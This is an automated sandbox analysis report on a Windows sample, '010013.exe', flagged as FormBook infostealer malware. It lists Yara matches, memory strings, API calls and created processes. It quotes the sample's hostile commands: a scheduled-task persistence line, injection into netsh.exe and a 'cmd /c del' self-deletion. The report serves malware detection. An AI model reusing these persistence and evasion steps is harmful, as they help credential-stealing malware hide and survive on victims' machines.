Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comFB
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comldco
Source: 010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://parking.bodiscdn.com
Source: netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	String found in binary or memory: https://www.google.com

Source: unknown

DNS traffic detected: queries for: www.smithridge.net

Source: global traffic

Source: 010013.exe, 00000000.00000002.706837713.0000000000CAA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: 010013.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_004C53D5
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_004C5696
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7E6B8
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7E6AB
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_00C7BD04
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07725F40
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07725F30
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00401030
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D89F
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041E1D0
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D48C
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402D88
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402D90
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041D641
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00409E2B
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00409E30
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041DF78
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041E701
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00402FB0
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_004653D5
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00465696
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340EBB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F6E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D0D20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A1D55
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DF900
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E841F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491002
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB090
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DE1D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2D88
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2D90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C9E2B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DD63F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C9E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C2FB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DDF78

Source: C:\Windows\SysWOW64\netsh.exe

Code function: String function: 033DB150 appears 32 times

Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419D50 NtCreateFile,
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E00 NtReadFile,
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E80 NtClose,
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419F30 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419DA4 NtCreateFile,
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00419E7A NtClose,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034196D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034196E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034195D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034199A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419760 NtOpenProcess,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A770 NtOpenThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034197A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419650 NtQueryValueKey,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419660 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A10 NtQuerySection,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A20 NtResumeThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419560 NtWriteFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034199D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034195F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03419820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034198F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034198A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9D50 NtCreateFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E80 NtClose,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E00 NtReadFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9DA4 NtCreateFile,
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D9E7A NtClose,

Source: 010013.exe, 00000000.00000002.706837713.0000000000CAA000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 010013.exe
Source: 010013.exe, 00000000.00000002.717972795.00000000075E0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameUI.dll< vs 010013.exe
Source: 010013.exe, 00000000.00000000.678955548.0000000000556000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe
Source: 010013.exe, 00000006.00000002.774854435.000000000115F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 010013.exe
Source: 010013.exe, 00000006.00000002.773379173.00000000004F6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe
Source: 010013.exe, 00000006.00000002.775347454.0000000002D7C000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamenetsh.exej% vs 010013.exe
Source: 010013.exe	Binary or memory string: OriginalFilenameAnsiBSTRMarshal.exeD vs 010013.exe

Source: 010013.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ELqDlkdxF.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 010013.exe	Virustotal: Detection: 39%
Source: 010013.exe	ReversingLabs: Detection: 32%

Source: C:\Users\user\Desktop\010013.exe

File read: C:\Users\user\Desktop\010013.exe

Jump to behavior

Source: 010013.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\010013.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\010013.exe 'C:\Users\user\Desktop\010013.exe'
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'

Source: C:\Users\user\Desktop\010013.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Local\Temp\tmp30F5.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@10/4@3/1

Source: C:\Users\user\Desktop\010013.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\010013.exe	Mutant created: \Sessions\1\BaseNamedObjects\reblGreen Software DimWin Brightness
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: 010013.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 010013.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netsh.pdb source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe, 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 010013.exe, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: ELqDlkdxF.exe.0.dr, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
